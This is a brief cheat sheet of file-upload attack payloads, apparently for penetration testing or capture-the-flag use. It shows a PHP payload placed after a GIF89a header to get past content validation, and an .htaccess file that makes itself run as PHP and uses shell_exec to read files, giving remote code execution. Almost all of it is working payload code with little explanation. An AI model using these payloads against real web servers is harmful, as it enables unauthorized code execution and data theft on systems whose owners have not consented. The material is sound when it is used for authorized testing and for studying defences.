File Upload

Bypass Content Validation

Bypass GIF Header

GIF89a;
<?php
phpinfo();
?>

File Upload to RCE

RCE via `.htaccess`

AddHandler application/x-httpd-php74 php

<Files "?htaccess">
  Require all granted
  Order allow,deny
  Allow from all
  ForceType application/x-httpd-php
</Files>

#<?php echo shell_exec('cat /f*'); ?>